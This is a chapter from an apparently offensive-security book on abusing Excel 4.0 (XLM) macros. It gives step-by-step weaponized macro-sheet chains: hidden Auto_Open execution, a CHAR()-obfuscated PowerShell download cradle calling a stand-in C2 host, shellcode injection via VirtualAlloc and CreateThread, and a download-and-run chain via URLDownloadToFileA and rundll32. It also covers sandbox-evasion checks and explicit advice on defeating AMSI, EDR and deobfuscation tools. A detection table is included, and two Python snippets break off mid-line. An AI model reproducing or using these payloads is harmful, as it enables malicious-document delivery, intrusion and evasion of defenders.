Chapter 16

XLM (Excel 4.0) Macros

Excel 4.0 macros — also called XLM macros after the "Excel Macro" extension — were introduced in 1992. Microsoft left them working in modern Excel for backwards compatibility. For attackers, they offer something VBA cannot: they execute without the VBA engine (VBE7.DLL never loads), many AMSI implementations missed them entirely until 2021, and the code lives inside a specially named worksheet rather than a VBA module — meaning tools focused on VBA projects don't see them. Zloader, Qbot, and several APT groups used XLM macros precisely because the defender tooling lagged behind VBA detection by several years. This chapter explains the XLM execution model from first principles, teaches the full macro language, builds a complete weaponized chain with shellcode injection, covers obfuscation at every layer, and maps every detection event defenders use today.

Why XLM Matters — A Brief History

XLM (Excel Macro) was the original macro language for Microsoft Excel before VBA was introduced in Excel 5.0 (1993). It predates COM, predates VBScript, and predates essentially every modern scripting subsystem in Windows. Microsoft kept it functional for decades to avoid breaking legacy spreadsheets. The threat intelligence community started noticing widespread abuse in 2018–2020, when groups like TA505 and various banking trojans (Zloader, Ursnif variants) began using XLM macros in phishing campaigns specifically because:

This multi-year detection lag is the core lesson: knowing the implementation details of defender tools lets you choose techniques they don't yet cover. XLM itself is now well-detected — but the principle applies to every chapter in this part.

XLM Execution Model — What Makes It Different

XLM vs VBA — full execution and detection comparison
  VBA macros:
  ─────────────────────────────────────────────────────────────────────────
  Engine:      VBE7.DLL (Visual Basic for Applications engine)
               Loaded as a DLL into the Office process on first macro use
  Storage:     _VBA_PROJECT stream in CFBF/OLE compound document
               Stored as zlib-compressed binary p-code + source text
  Auto-exec:   Auto_Open / Workbook_Open / AutoOpen subroutines
  AMSI scan:   Office loads amsi.dll, submits VBA source before execution
               → AMSI provider: AmsiScanBuffer receives the source text
  Detection:   olevba.py reads _VBA_PROJECT stream; VBA IDE shows code
               Sysmon 7: VBE7.DLL loaded into EXCEL.EXE (strong signal)

  XLM (Excel 4.0) macros:
  ─────────────────────────────────────────────────────────────────────────
  Engine:      Built directly into EXCEL.EXE — part of the Excel binary
               No separate engine DLL; the parser is decades old C code
  Storage:     Regular sheet cells in a BIFF8 "Macro Sheet" worksheet
               Formulas stored as binary BIFF8 formula records (ptg tokens)
  Auto-exec:   Named range "Auto_Open" pointing to a cell on a macro sheet
               Excel reads named ranges at open, auto-executes this one
  AMSI scan:   Added via the "Excel 4.0 Macro AMSI" provider in 2021
               Scans formula strings before evaluation
               Coverage depends on Office patch level — not universal
  Detection:   No VBE7.DLL Sysmon 7 event; XLM uses the Excel engine
               Specialized tool needed: XLMMacroDeobfuscator (2020+)
               olevba detects macro sheet presence but can't deobfuscate
  ─────────────────────────────────────────────────────────────────────────

  Timeline of detection catches:
  ─────────────────────────────────────────────────────────────────────────
  1992:  XLM introduced (Excel 4.0)
  2000:  VBA replaces XLM; most macros move to VBA
  2018:  Threat actors rediscover XLM — no AMSI coverage
  2020:  XLMMacroDeobfuscator released by DissectMalware
  2021:  Microsoft adds AMSI for XLM macros (July 2021, Office 365 update)
  2022:  Macro blocking by default (MOTW check) — applies to XLM and VBA
  2024:  XLM still works in: unpatched Office, MOTW bypass scenarios,
         and as a reference for understanding how detection gaps form

Macro Sheet Structure Inside the BIFF8 Format

XLM macros exist inside the Excel binary format as cells in a Macro Sheet. Understanding the storage format helps you read and manipulate the files at the binary level — useful for patching templates and understanding what analysis tools look for:

BIFF8 compound file structure with macro sheet
  .xls file (BIFF8 compound document):
  ┌────────────────────────────────────────────────────────────────────────┐
  │ OLE Compound File Binary Format (CFB) container                       │
  │ ┌───────────────────────────────────────────────────────────────────┐ │
  │ │ Workbook stream (main stream)                                     │ │
  │ │   BOF record (Book of File) — type=0x0085 (workbook global)       │ │
  │ │   SHEETHDR records — one per sheet                                │ │
  │ │   SUPBOOK/EXTERNREF records — external references                 │ │
  │ │   NAME records — named ranges (Auto_Open lives here!)            │ │
  │ │   BOF record — type=0x0085 for macro sheet (key marker)          │ │
  │ │   CODENAME record — sheet code name                               │ │
  │ │   FORMULA records — each macro cell (row, col, formula binary)    │ │
  │ │     └── Each FORMULA contains: ptg (parse thing) tokens          │ │
  │ │         ptgFuncVar → variable argument function (EXEC, CALL etc.) │ │
  │ │         ptgStr → string literal (the command/argument)            │ │
  │ │         ptgInt → integer constant (numeric argument)              │ │
  │ │   EOF record — end of macro sheet                                 │ │
  │ │   BOF record — type=0x0010 for regular sheet                     │ │
  │ │   ... regular sheet records ...                                   │ │
  │ └───────────────────────────────────────────────────────────────────┘ │
  └────────────────────────────────────────────────────────────────────────┘

  The BOF record type for macro sheet: 0x0085 with dt field = 0x0040
  This is how XLMMacroDeobfuscator identifies sheets as macro sheets.

  Macro sheet visibility field (BOUNDSHEET record):
    offset 4 (1 byte): visibility
    0x00 = Visible
    0x01 = Hidden (user can unhide via Format > Sheet)
    0x02 = VeryHidden (requires code or external tool to unhide)
  Attacker sets this to 0x02 to prevent analyst from seeing sheet in UI.

Auto-Execute — The Named Range Mechanism

The NAME record containing "Auto_Open" is stored in the Workbook global stream, before any sheet data. Excel reads all NAME records at load time and if it finds one called "Auto_Open" that resolves to a macro sheet cell, it queues that cell for execution after the workbook finishes loading:

import struct

# NAME record binary structure in BIFF8:
# Record ID: 0x0018
# Record Length: variable
# Fields:
#   option flags (2 bytes) — 0x0020 = function macro name
#   keyboard shortcut (1 byte)
#   name length (1 byte)
#   formula length (2 bytes)
#   sheet index (2 bytes) — 0 = global name
#   reserved (several bytes)
#   name characters (variable)
#   formula data (variable) — ptgRef3d points to the macro cell

# To read all named ranges from a .xls file manually:
def extract_named_ranges(xls_path):
    import olefile
    with olefile.OleFileIO(xls_path) as ole:
        wb_data = ole.openstream('Workbook').read()

    pos = 0
    names = {}
    while pos < len(wb_data):
        rec_type, rec_len = struct.unpack_from('

XLM Language — Complete Function Reference

XLM macro functions — full reference for payload writing
  Execution and flow control:
  ────────────────────────────────────────────────────────────────────────
  EXEC(program_text)          Execute shell command (window=normal)
  EXEC(program_text, style)   Execute with window style: 1=normal, 0=hidden
  SHELL(prog, style)          Alias for EXEC()
  HALT()                      Stop execution permanently; macro ends
  RETURN()                    Return from a CALL()'d sub-macro
  GOTO(cell_ref)              Unconditional jump to another cell
  IF(cond, t_expr, f_expr)    Conditional; can nest GOTO() in branches
  NEXT()                      End of a FOR() loop body
  FOR(counter, start, end)    Integer counting loop
  WHILE(condition)            Loop while condition is true
  END.IF()                    End of an IF block (block form)

  Windows API and DLL access:
  ────────────────────────────────────────────────────────────────────────
  CALL(dll, func, type, ...)  Call a DLL function directly
  REGISTER(dll, func, type)   Register function for repeated use
  UNREGISTER(func_id)         Unregister a previously registered function

  Cell and formula manipulation:
  ────────────────────────────────────────────────────────────────────────
  FORMULA(val, cell_ref)      Write a value or formula into a cell
  FORMULA.ARRAY(...)          Write array formula
  SET.NAME(name, value)       Create or update a named range
  GET.CELL(type, cell_ref)    Read properties of a cell
  ACTIVE.CELL()               Reference to the current execution cell

  Environment queries:
  ────────────────────────────────────────────────────────────────────────
  GET.WORKSPACE(type)         Query Excel/OS environment
    1  → OS version string
    13 → TRUE if window maximized
    14 → Screen width in columns
    15 → Screen height in rows
    31 → TRUE if sound supported
    42 → User name (from Windows)
    44 → Processor count
    76 → TRUE if mouse present
  GET.DOCUMENT(type)          Query workbook properties
    1  → Workbook filename
    87 → Sheet count

  String functions:
  ────────────────────────────────────────────────────────────────────────
  CHAR(num)                   Character from ASCII/Unicode code point
  MID(text, start, len)       Substring extraction
  LEFT(text, len)             Left substring
  RIGHT(text, len)            Right substring
  LEN(text)                   String length
  CONCATENATE(a,b,...)        Join strings (or use & operator)

  Miscellaneous:
  ────────────────────────────────────────────────────────────────────────
  ALERT(msg, type)            Message box (type: 1=OK, 2=Yes/No, 3=Yes/No/Cancel)
  SLEEP(ms)                   Pause execution in milliseconds
  NOW()                       Current date/time serial number
  ISERROR(expr)               TRUE if expr returns an error

First Working Macro — Execution from a Sheet

Here is the complete sequence of cells you would write into a Macro Sheet to execute a shell command. Think of each cell as a line of code, evaluated top to bottom:

MacroSheet column A — basic execution chain:

A1:  =EXEC("cmd.exe /c calc.exe",0)
     ↓ executes calc.exe in a hidden window

A2:  =HALT()
     ↓ stops the macro

Named range: Auto_Open → MacroSheet!$A$1
Sheet visibility: VeryHidden (0x02)

The detection profile for this: Excel opens → Sysmon 1 records EXCEL.EXE spawning cmd.exe → Sysmon 1 records cmd.exe spawning calc.exe. The chain is obvious and detectable. Everything that follows is about eliminating or hiding these signals:

CHAR()-Based String Obfuscation

The CHAR() function in XLM works exactly like Chr() in VBA: it converts an integer to a single character. By constructing every suspicious string character-by-character from CHAR() calls, you ensure that no static scan of the formula text ever sees the assembled string:

# Python helper: generate CHAR() formula for any string
def to_char_formula(s):
    parts = [f"CHAR({ord(c)})" for c in s]
    return "&".join(parts)

# Usage:
cmd = "cmd.exe /c powershell.exe -w h -ep bypass -c IEX(iwr 'http://c2/s.ps1')"
print(to_char_formula(cmd))

# Output (abbreviated):
# CHAR(99)&CHAR(109)&CHAR(100)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)
# &CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&CHAR(119)
# &CHAR(101)&CHAR(114)&CHAR(115)&CHAR(104)&CHAR(101)&CHAR(108)&CHAR(108)
# ... etc

# Place this inside EXEC():
# =EXEC(CHAR(99)&CHAR(109)&CHAR(100)&...)
Obfuscated macro sheet — EXEC with full CHAR() encoding:

A1:  =EXEC(CHAR(99)&CHAR(109)&CHAR(100)&CHAR(46)&CHAR(101)&CHAR(120)&
           CHAR(101)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&
           CHAR(111)&CHAR(119)&CHAR(101)&CHAR(114)&CHAR(115)&CHAR(104)&
           CHAR(101)&CHAR(108)&CHAR(108)&CHAR(46)&CHAR(101)&CHAR(120)&
           CHAR(101)&CHAR(32)&CHAR(45)&CHAR(119)&CHAR(32)&CHAR(104)&
           CHAR(32)&CHAR(45)&CHAR(99)&CHAR(32)&CHAR(73)&CHAR(69)&
           CHAR(88)&CHAR(40)&CHAR(105)&CHAR(119)&CHAR(114)&CHAR(32)&
           CHAR(39)&CHAR(104)&CHAR(116)&CHAR(116)&CHAR(112)&CHAR(58)&
           CHAR(47)&CHAR(47)&CHAR(99)&CHAR(50)&CHAR(47)&CHAR(115)&
           CHAR(46)&CHAR(112)&CHAR(115)&CHAR(49)&CHAR(39)&CHAR(41),0)
A2:  =HALT()

Cell Spreading — Distributing Across the Sheet

A further layer: split the formula computation across many cells. Each cell produces a small piece of the string, and the final EXEC() cell concatenates them. A static scan of any single cell sees only an innocuous-looking fragment:

Multi-cell construction — each piece computed separately:

B1:  =CHAR(99)&CHAR(109)&CHAR(100)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)
     → "cmd.exe"

B2:  =CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)
     → " /c "

B3:  =CHAR(112)&CHAR(111)&CHAR(119)&CHAR(101)&CHAR(114)&CHAR(115)&CHAR(104)
     &CHAR(101)&CHAR(108)&CHAR(108)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)
     → "powershell.exe"

B4:  =CHAR(32)&CHAR(45)&CHAR(119)&CHAR(32)&CHAR(104)&CHAR(32)&CHAR(45)
     &CHAR(99)&CHAR(32)
     → " -w h -c "

B5:  =CHAR(73)&CHAR(69)&CHAR(88)&CHAR(40)&CHAR(105)&CHAR(119)&CHAR(114)
     &CHAR(32)&CHAR(39)&CHAR(104)&CHAR(116)&CHAR(116)&CHAR(112)&CHAR(58)
     &CHAR(47)&CHAR(47)&CHAR(99)&CHAR(50)&CHAR(47)&CHAR(115)&CHAR(46)
     &CHAR(112)&CHAR(115)&CHAR(49)&CHAR(39)&CHAR(41)
     → "IEX(iwr 'http://c2/s.ps1')"

A1:  =EXEC(B1&B2&B3&B4&B5,0)
     → Assembles and executes at runtime
A2:  =HALT()

Direct API Injection via CALL() — No Child Process

The most advanced XLM technique: avoid spawning any process entirely by calling kernel32 APIs directly from the macro to allocate RWX memory, copy shellcode into it, and create a thread. Everything happens inside EXCEL.EXE:

CALL() type string encoding — argument passing rules
  The third argument to CALL() / REGISTER() is a type string:
  ─────────────────────────────────────────────────────────────────
  Character │ Maps to                    │ Example API arg type
  ──────────┼────────────────────────────┼──────────────────────────────
  J         │ LONG / DWORD (32-bit int)  │ dwSize, flProtect, status
  I         │ SHORT (16-bit int)         │ flags, small counts
  P         │ LPVOID / handle / pointer  │ pvAddress, hHandle
  C         │ LPSTR (string pointer)     │ lpFileName, lpFunctionName
  H         │ HANDLE (explicit)          │ hModule, hProcess
  v         │ void (no return)           │ return type for void fns
  >         │ asynchronous modifier      │ prefix char for async calls
  ─────────────────────────────────────────────────────────────────
  Type string format: [return_type][arg1_type][arg2_type]...
  
  VirtualAlloc: LPVOID VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD)
  Type string:  "PJJJJ" — P return, J lpAddress, J dwSize, J flAllocationType, J flProtect
  
  CreateThread: HANDLE CreateThread(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD)
  Type string:  "JJJJJJJ" — J return, J lpThreadAttrib, J dwStackSize, J lpStartAddress, J lpParam, J dwCreationFlags, J lpThreadId
  (Note: actual handles use J here since HANDLE = 4 bytes in 32-bit / 8 bytes in 64-bit — P is safer for 64-bit)
Shellcode injection via CALL() — step by step (32-bit Excel):

Shellcode bytes pre-written to cells C1:C256 (one byte per cell):
  C1:  =144   ← 0x90 (NOP)
  C2:  =144   ← 0x90 (NOP)
  C3:  =195   ← 0xC3 (RET) — minimal test shellcode: NOP sled + ret
  ... (repeat for actual shellcode bytes)

Macro sheet (column A):

A1:  =REGISTER("kernel32","VirtualAlloc","PJJJJ")
     ← stores registered function ID in A1

A2:  =CALL(A1,0,4096,12288,64)
     ← VirtualAlloc(NULL, 4096, MEM_COMMIT|MEM_RESERVE=0x3000, PAGE_EXECUTE_READWRITE=0x40)
     ← A2 now holds the returned base address (a pointer value)

A3:  =REGISTER("kernel32","RtlMoveMemory","vPPJ")
     ← void RtlMoveMemory(LPVOID dest, LPCVOID src, SIZE_T len)

A4:  =CALL(A3,A2,C1,1)
     ← Copy 1 byte from C1 into A2+0 (first byte of shellcode)
     NOTE: This copies the VALUE in C1 as a byte — actually more complex
     Real approach: use WriteProcessMemory with a reference to the cells,
     or pre-assemble the shellcode as a string and use RtlMoveMemory on it.

Simplified alternative — write shellcode as CHAR() string:

A1:  =REGISTER("kernel32","VirtualAlloc","PJJJJ")
A2:  =CALL(A1,0,256,12288,64)
     ← allocate 256 bytes RWX; address in A2

A3:  =REGISTER("kernel32","RtlMoveMemory","vPCJ")
     ← "C" for the source = pass as CHAR() string

A4:  =CALL(A3,A2,
           CHAR(144)&CHAR(144)&CHAR(144)&CHAR(195),
           4)
     ← Copy NOP NOP NOP RET (4 bytes) to the allocation
     ← For real shellcode: full CHAR() string of all bytes

A5:  =REGISTER("kernel32","CreateThread","JJJJJJJ")
A6:  =CALL(A5,0,0,A2,0,0,0)
     ← CreateThread(NULL,0,baseAddress,NULL,0,NULL) → executes shellcode

A7:  =REGISTER("kernel32","WaitForSingleObject","JJJ")
A8:  =CALL(A7,A6,15000)
     ← Wait up to 15 seconds for thread completion

A9:  =HALT()

Download and Execute Chain with URLDownloadToFile

The most common real-world XLM delivery pattern: download a second-stage binary (an encrypted blob or a DLL) using Windows URL APIs, save to a temp path, then execute:

Full download-and-execute XLM chain:

A1:  =REGISTER("urlmon","URLDownloadToFileA","JJCCJJ")
     ← Registers the download function; result stored in A1

A2:  =CALL(A1,
           0,
           CHAR(104)&CHAR(116)&CHAR(116)&CHAR(112)&CHAR(115)&CHAR(58)&CHAR(47)
           &CHAR(47)&CHAR(99)&CHAR(100)&CHAR(110)&CHAR(46)&CHAR(101)&CHAR(120)
           &CHAR(97)&CHAR(109)&CHAR(112)&CHAR(108)&CHAR(101)&CHAR(46)&CHAR(99)
           &CHAR(111)&CHAR(109)&CHAR(47)&CHAR(115)&CHAR(49)&CHAR(46)&CHAR(98)
           &CHAR(105)&CHAR(110),
           CHAR(37)&CHAR(84)&CHAR(69)&CHAR(77)&CHAR(80)&CHAR(37)&CHAR(92)
           &CHAR(115)&CHAR(118)&CHAR(99)&CHAR(104)&CHAR(111)&CHAR(115)
           &CHAR(116)&CHAR(51)&CHAR(50)&CHAR(46)&CHAR(98)&CHAR(105)&CHAR(110),
           0,
           0)
     ← URLDownloadToFileA(NULL, "https://cdn.example.com/s1.bin",
                          "%TEMP%\svchost32.bin", 0, NULL)
     ← A2 = 0 (S_OK) on success, non-zero on failure

A3:  =IF(A2<>0,GOTO(A20),GOTO(A4))
     ← If download failed, skip to HALT; else continue

A4:  =EXEC(CHAR(114)&CHAR(117)&CHAR(110)&CHAR(100)&CHAR(108)&CHAR(108)
           &CHAR(51)&CHAR(50)&CHAR(46)&CHAR(101)&CHAR(120)&CHAR(101)&CHAR(32)
           &CHAR(37)&CHAR(84)&CHAR(69)&CHAR(77)&CHAR(80)&CHAR(37)&CHAR(92)
           &CHAR(115)&CHAR(118)&CHAR(99)&CHAR(104)&CHAR(111)&CHAR(115)
           &CHAR(116)&CHAR(51)&CHAR(50)&CHAR(46)&CHAR(98)&CHAR(105)&CHAR(110)
           &CHAR(44)&CHAR(82)&CHAR(117)&CHAR(110)&CHAR(83)&CHAR(104)&CHAR(101)
           &CHAR(108)&CHAR(108)&CHAR(67)&CHAR(111)&CHAR(100)&CHAR(101),0)
     ← EXEC("rundll32.exe %TEMP%\svchost32.bin,RunShellCode",0)

A20: =HALT()

Sandbox Evasion via GET.WORKSPACE

GET.WORKSPACE lets you query the Excel runtime environment before executing the payload. Sandboxes typically have fewer CPUs, smaller screens, no mouse, and system uptime that's too short or too exact:

Sandbox evasion chain (column A, before payload starts):

A1:  =IF(GET.WORKSPACE(44)<2,GOTO(A50),GOTO(A2))
     ← Abort if less than 2 CPUs (sandboxes often have 1 vCPU)

A2:  =IF(GET.WORKSPACE(14)<10,GOTO(A50),GOTO(A3))
     ← Abort if screen width < 10 (headless environments return small values)

A3:  =IF(GET.WORKSPACE(76)=FALSE,GOTO(A50),GOTO(A4))
     ← Abort if no mouse (automated sandboxes often report no mouse)

A4:  =IF(GET.WORKSPACE(31)=FALSE,GOTO(A50),GOTO(A5))
     ← Abort if no audio (cuckoo sandbox often has no audio device)

A5:  =IF(LEN(GET.WORKSPACE(42))<3,GOTO(A50),GOTO(A10))
     ← Abort if username is very short (sandbox usernames: "user", "a")
     ← Real enterprise usernames: "jsmith", "john.smith", etc.

A10: [payload starts here]
     ...

A50: =HALT()
     ← Silent exit — sandbox sees nothing happen

Creating XLM Weaponized Files

Via Excel UI (Fastest for Testing)

Steps:
1. Open Excel → New Workbook
2. Right-click a sheet tab → Insert → MS Excel 4.0 Macro Sheet
   (If hidden: File → Options → Advanced → "For Excel features that are not
   ribbonized, show them in the following Ribbon tab" → check Developer)
3. In the macro sheet, type XLM formulas into column A (each cell = one statement)
4. Formulas → Name Manager → New → Name: "Auto_Open" → Refers to: =MacroSheet!$A$1
5. Right-click macro sheet tab → Hide (or: Format > Sheet > Hide)
6. Save as: "Excel 97-2003 Workbook (.xls)"

Testing: close the file, reopen it. If "Enable macros" is clicked, A1 runs first.

Via Python (Repeatable, Automatable)

"""
Create XLM macro .xls using xlrd + xlwt + struct manipulation.
Simplest approach: patch a pre-built template's formula string bytes.
"""
import struct

def read_xls_records(filename):
    """Parse BIFF8 records from .xls Workbook stream."""
    import olefile
    with olefile.OleFileIO(filename) as ole:
        data = ole.openstream('Workbook').read()

    records = []
    pos = 0
    while pos < len(data) - 4:
        rec_type = struct.unpack_from('

Detection Footprint and Defender Tooling

XLM macro detection events in a monitored environment
  Detection source          │ Event / Signal                          │ Triggered by
  ──────────────────────────┼─────────────────────────────────────────┼────────────────────────
  Sysmon 7 (DLL load)       │ VBE7.DLL loaded into EXCEL.EXE          │ NOT triggered by XLM
  Sysmon 7 (DLL load)       │ urlmon.dll / wininet.dll into EXCEL.EXE │ CALL(urlmon,...) or download
  Sysmon 1 (process)        │ EXCEL.EXE → cmd.exe                     │ EXEC("cmd.exe ...",0)
  Sysmon 1 (process)        │ EXCEL.EXE → powershell.exe              │ EXEC("powershell...")
  Sysmon 11 (file)          │ %TEMP%\svchost32.bin created            │ URLDownloadToFileA call
  Sysmon 3 (network)        │ EXCEL.EXE → outbound HTTPS              │ URLDownloadToFileA
  Sysmon 22 (DNS)           │ DNS query for C2 domain                 │ Any outbound connection
  EDR memory event          │ EXCEL.EXE: VirtualAlloc(RWX)           │ CALL(VirtualAlloc,...)
  EDR memory event          │ EXCEL.EXE: unbacked CreateThread        │ CALL(CreateThread, shellcode_addr)
  AMSI (2021+)              │ XLM formula content scan                │ On formula evaluation
  olevba.py                 │ Detects presence of macro sheet         │ BOF record type = macro sheet
  XLMMacroDeobfuscator      │ Deobfuscates CHAR() chains, follows GOTO│ Static analysis of BIFF8
  ──────────────────────────┴─────────────────────────────────────────┴────────────────────────

  Technique vs. detection event avoided:
  ─────────────────────────────────────────────────────────────────────────────────
  CHAR() obfuscation                  → defeats static AMSI/AV string matching
  Cell spreading                      → defeats per-cell pattern matching
  GET.WORKSPACE sandbox check         → defeats automated sandbox detonation
  CALL() API injection (no EXEC)      → defeats parent-child process analysis
  VeryHidden sheet                    → defeats manual UI inspection by analyst
  REGISTER() + deferred CALL()        → defeats CALL("kernel32","VirtualAlloc") patterns

Questions & Answers

Why does XLM not work in .xlsx files?

.xlsx is a ZIP archive containing XML files — the "Office Open XML" format introduced in Office 2007. XLM macros are a BIFF8-era binary format feature that predates Open XML by over a decade. Microsoft did not implement XLM support in the Open XML specification. The Office formats that support XLM are exclusively binary legacy formats: .xls (BIFF5/8), .xlsb (Binary Workbook format), .xlam/.xla (Excel Add-in binary format). Sending a .xls file in 2024 is itself a mild anomaly (most modern spreadsheets are .xlsx), and defenders may use the file extension or MIME type as a signal. Some campaigns rename .xls to .xlsx hoping email gateways check extension not content — but if the gateway inspects the actual file header (which identifies it as CFBF, not a ZIP), the extension trick is caught.

What is XLMMacroDeobfuscator and what does it detect?

XLMMacroDeobfuscator (github.com/DissectMalware/XLMMacroDeobfuscator) is a Python tool that statically parses the binary BIFF8 format of .xls/.xlsb files, extracts the FORMULA records from macro sheets, decodes the ptg (parse thing) token sequences back into readable formulas, and then emulates their execution — following GOTO() calls, evaluating CHAR() concatenations, and substituting GET.WORKSPACE() with configurable environment parameters. The output is a deobfuscated view of what commands EXEC() would run and what strings the macro assembles. Defenders run it in automated analysis pipelines. As an attacker, knowing this tool exists means: (1) your CHAR() obfuscation must be multi-layer to survive emulation; (2) GET.WORKSPACE() sandbox checks should use values that XLMMacroDeobfuscator's default environment wouldn't satisfy.

Can CALL() injection inside Excel avoid EDR detection?

CALL()-based injection eliminates the parent-child process chain detection (no cmd.exe or powershell.exe spawned). The remaining EDR detection paths are: (1) API monitoring — EDRs hook VirtualAlloc, VirtualProtect, and CreateThread via kernel callbacks or DLL injection. When EXCEL.EXE calls VirtualAlloc(RWX), the EDR sees it regardless of whether you called it from VBA or XLM. (2) Behavioral analysis — EXCEL.EXE creating a thread at an address in a manually allocated RWX region (not backed by any file on disk) is a high-confidence indicator of shellcode injection, regardless of how the allocation was initiated. The CALL() technique shifts detection away from process-level rules and toward memory/API-level rules. Against a basic Sysmon+SIEM deployment, it's very effective. Against a mature EDR with userspace API hooking, it's less so.

What happens if the Excel version doesn't support REGISTER()?

REGISTER() is a core XLM function that has been in Excel since version 4.0. It works in all versions of Excel from 1992 through 2024 (including Excel 365) as long as XLM macros are enabled. The version mismatch risk doesn't apply here the way it does with VBA p-code — XLM formulas are re-evaluated at runtime every time, not compiled to version-specific bytecode. The more practical concern is whether the specific DLL function you're calling exists on the target system. URLDownloadToFileA requires urlmon.dll (part of IE/WinInet, available on essentially all Windows installations). VirtualAlloc, CreateThread, etc. are in kernel32.dll (always available). If a function doesn't exist, REGISTER() returns an error value that ISERROR() can detect for graceful failure.

Is XLM still useful after Microsoft's 2022 macro blocking change?

Partially. The 2022 change blocks macros (VBA and XLM) in documents that have a Mark of the Web (MOTW) Zone.Identifier ADS — meaning documents downloaded from the internet via a browser or email client. XLM macros remain viable for: (1) delivery via channels that don't apply MOTW (SMB file shares, intranet portals, SharePoint with trusted site configuration, physical USB); (2) targets on older, unpatched Office versions that haven't received the blocking change; (3) delivery via container formats (ISO, ZIP password-protected) where some Windows versions don't propagate MOTW into the container contents. Beyond direct exploitation, understanding XLM is valuable for reading threat intelligence (many campaigns from 2018–2022 used XLM) and for understanding how detection gaps in complex legacy systems get exploited.